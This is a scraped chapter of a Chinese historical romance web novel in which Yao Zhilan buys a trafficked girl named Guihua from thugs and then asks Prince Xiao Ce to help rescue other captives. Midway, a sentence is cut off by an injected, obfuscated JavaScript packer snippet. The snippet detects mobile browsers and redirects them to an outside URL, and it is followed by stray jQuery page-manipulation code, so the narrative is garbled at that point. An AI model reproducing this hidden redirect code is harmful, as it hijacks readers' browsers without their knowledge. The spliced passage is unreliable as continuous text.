姚芷兰今日穿上她新做的衣裳,让丹若给上了精致的妆容,站在镜前转了一圈。
人比花娇,像一朵盛开的幽兰。
丹若好奇道:“小姐,平日都没见你这般打扮,今日这是要去见谁,这般隆重。”
“去见...”姚芷兰似是想到了什么,咬牙道:“一个变态。”
丹若张开下巴,心里直打鼓。
自从小姐那日走水后,她就开始听不懂自家小姐的话了。
姚芷兰被丹若搀扶着坐上了软轿被一路抬出了姚府,她腿脚还没有好利索,不能久站。
刚出大门丹若便在窗边问到:“小姐,我们去哪?”
姚芷兰有一瞬间迟疑,她也不知道去哪能找到萧策,只能道:“去巡防营。”实在不行便让魏大人帮忙传话。
虽然现在她不知道该如何面对他,但姚婉音说他也有办法帮姚家,这对她诱惑太大,她必须亲自问个清楚。
可刚出发没多久,她就差点连人带轿被撞得个人仰马翻。
“何事?”她掀开轿帘问外面摔倒在地的丹若。
还未等丹若去看个究竟,就见一只黑乎乎的手伸了进来。
那是一只满手污泥如干尸一般的手,紧紧地抓着门框。
随后她看到一双黑洞洞的眼睛,死死盯着自己,里面充满了绝望与不甘。
“贵人救救我,人贩子在追我,我实在逃不动了。”说着便哐哐磕头。
那声音响得令人齿寒,没几下便沁出了血。
还未等姚芷兰反应,就听到追至近前的脚步声。
面前三个地痞流氓毫无忌惮的上前抓人,口里还不干不净的骂着。
“让你跑,回去看我不打死你,不想去窑子是吧,那就送你去见你妹妹。”
“住手!”姚芷兰冷若冰霜的呵斥。
流氓似乎这时才拿正眼瞧她,“怎么,想多管闲事?我劝你掂量掂量这事你能不能管。”
一边说,还一边用那肮脏的眼神来回扫视姚芷兰。
丹若见状一把推开那个流氓,挡在了主子面前,“大胆,哪来的流氓光天化日强抢民女,还有没有王法?”
“王法?哈哈哈,老子就是王法,再挡着小心我连你家小姐也卖到窑子去。”流氓嚣张到没眼看。
姚芷兰脸色沉了沉,知道这流氓怕是不简单,不能硬碰。
她指着那个骨瘦如柴的女人道:“她多少钱,我买了。”
流氓“哟”了一声,朝地上吐了口浓痰。
狮子大开口,“一百两!”
姚芷兰笑了,毫不畏惧地抬头回视道:“女子五两,男子十两,这是奴价。”
“卖到勾栏是要看品相的,如她这般骨瘦如柴,面黄肌瘦还不听话的,你只怕还要倒赔钱。”
“你今日运气好,碰上我出去买奴,她又正好求到我跟前,也算有缘,我才开口买下。”
“以她这身量,一看就不满十五,我最多出四两,多一分都没有。”
流氓眯着眼没接话,没想到竟遇上个行家。
他摸了摸下巴,不死心道:“十两,我抓她可是废了好大一番功夫,我不赚钱可以,但是跟来的兄弟我可得分钱。”
“我管你这些,你这货已经砸手里了,带回去一分钱都换不来,我敢打赌以她的性子还会跑,这样的货窑子是不会要的,你再说我就不要了。”
流氓心道,她一句都没说错,这货确实是被退回来的,连窑子都不要就真的只能弄死了。
姚芷兰看他犹豫不决,便对丹若喊道:“丹若,我们走,再晚就挑不到好货了。”
丹若连忙作势赶人,流氓急了:“四两就四两,算老子倒霉,赶紧给钱。”
丹若不情不愿地掏出四两银子,伸手道:“奴契给我。”
流氓“切”了一声,拿出皱巴巴的纸递给了她。
丹若交给姚芷兰确认无误后,才将银子丢在了流氓的脚边。
流氓还拿手指点了点主仆二人,意思是“我记住你们了”,才带着兄弟横着走了。
“小姐,这流氓实在是无法无天,以后会不会报复我们。”
姚芷兰知道她一个女子不该出这个头,但是要让她眼睁睁看着这个女孩被带走打死,她办不到。
她摇了摇头,“先回去再说,你让她跟着轿子慢慢走。”
于是打马赶来的萧策就这么水灵灵的扑了个空。
今天又是想换副将的一天呢。
*
姚芷兰看着眼前收拾干净的女孩,温声道:“说说看你的情况。”
女孩跪倒在地,声泪俱下,“我叫桂花,今年十四,是房县人,我是在来京城的路上被拐的。”
“你还有亲人在房县吗?”
桂花一提这个哭得更凶了,“我从小是阿奶带大的,阿奶死前让我来京城找舅舅,说是舅舅在京城做买卖,他会可怜我的。”
“我把阿奶埋了之后,就来京城了,没想到路上就被拐了,还好是被拐来了京城,我就想方设法的逃了出来,没想到...”
“我逃出来第一件事就是去找我舅舅,没想到他,他连夜将我打了出来,说没我这个侄女,眼睁睁的看着我被坏人抓走也不管。”
姚芷兰知道人性的丑恶,但听到这里还是悲愤交加。
亲情在她心中是神圣不可侵犯的,但总有一些人,一而再再而三的刷新她的认知。
“那你以后有什么打算吗?”
桂花惊恐地抬头,“小姐不是买了我吗,那我就是小姐的人,小姐是嫌我没用要赶我走吗?”
“不,我能干活,我什么都肯干,只求小姐不要赶我走。”说罢又砰砰砰地磕起了响头。
姚芷兰看她误会了自己的意思,连忙解释:“我不是要赶你走,你一个孤苦无依的女孩子还能去哪,我是说你有没有想干的活计。”
“我,我会种地、做饭、喂鸡养猪...”说着便不自信地低下了头。
姚芷兰想到姚靖宁刚收了间鱼铺,“那这样,你去我们家的烤鱼铺子帮工吧,每月一百文,包食宿。”
桂花不敢置信的抬起头,眼泪都忘记了擦,“多谢小姐,多谢小姐,小姐的大恩大德,桂花做牛做马都要还。”
姚芷兰无声地叹了口气,让丹若带她下去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446004|185104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等姚靖宁回来。
就在桂花刚要转身之时,她问道:“你说你逃出来过,那你还记得关你的地方在哪吗?”
“记得!”桂花从小就能记路,去过一次的地方她都能摸黑回去。
姚芷兰沉思片刻,“这样,你先在府里等我消息,我需要你带我去一次那里。”
“小姐万万不可,那里守满了他们的人,跟我一批抓来的姑娘发卖的发卖,打死的打死,就我逃了出来,他们不是人,是恶鬼。”
桂花光是想想就浑身颤抖。
“他们有多少人?每次能抓多少女孩?把你们卖到哪?死了的女孩埋在哪?”这次姚芷兰问得很细致。
桂花猜到了姚芷兰的意图,将自己知道的竹筒倒豆子。
“他们至少二十人,我逃出去过两次,所以去过两个窝点,虽然我被蒙着眼但我都记得大致方位。”
“每个窝点大概都是十个女孩,我被卖到一个黑窑,没有牌子没有人,就是一个地洞一样的地方。”
“至于死了的女孩子我不知道,我只知道他们把人抬出去没多久很快就回来了,我想,我想应该是就近掩埋。”
“很好,你能提供这么多线索,我就更有把握将她们救出来,你先下去休息吧。”
桂花没想到姚芷兰还想着将人全部救出来,就像从来淋雨的她突然有人将伞撑在了她头上。
她重新跪了下来,虔诚地朝着姚芷兰磕了三个响头,就像跪拜庙里的菩萨般发愿,“愿小姐好人一生平安,长命百岁。”
姚芷兰将人送走,即刻写了封信给魏时晏,让他帮忙将秦王请来,有要事相商。
没想到信刚送出一盏茶,萧策就出现在她面前。
就好像,人一直蹲在姚家大门口一样。
*
萧策确实一直徘徊在姚家附近,因为一路上都在威压副将,导致耽误了回程的时间。
直到蒋飞将一份姚芷兰的亲笔信送至他手上时,他眉宇间的煞气才消解。
他看着信上的邀约,眸子亮得惊人。
一路策马,不出一刻便长驱直入来到了姚家会客厅。
“听说你有事找我?”王爷又恢复了他一惯的冷肃。
姚芷兰在见到他的第一眼,便想起那个吻。
她不自在的敛眉行礼:“小女确实找王爷有要事禀报。”
她请萧策上座,却一个眼神也不给他。
她将桂花叫来跟前,让她把刚才的话当着萧策的面又说了一次。
萧策听完后面上没有丝毫的变化,挥了挥手让人都下去,然后抬头看向了姚芷兰。
这件事他可以管,但他想让她求他。
实在是,狗的很。
姚芷兰感受到他如有实质的视线,大致猜到了他的意图。
咬了咬唇开口,但仍是不看他。
“小女知道这件事正好在王爷的管辖范围内,还请王爷看在这些女子可怜的份上帮帮她们。”
萧策温情脉脉地看着姚芷兰那姣好的面容,整个人温柔到了极致,可说出来的话却也狗到了极致。
“这就是你求人的态度?”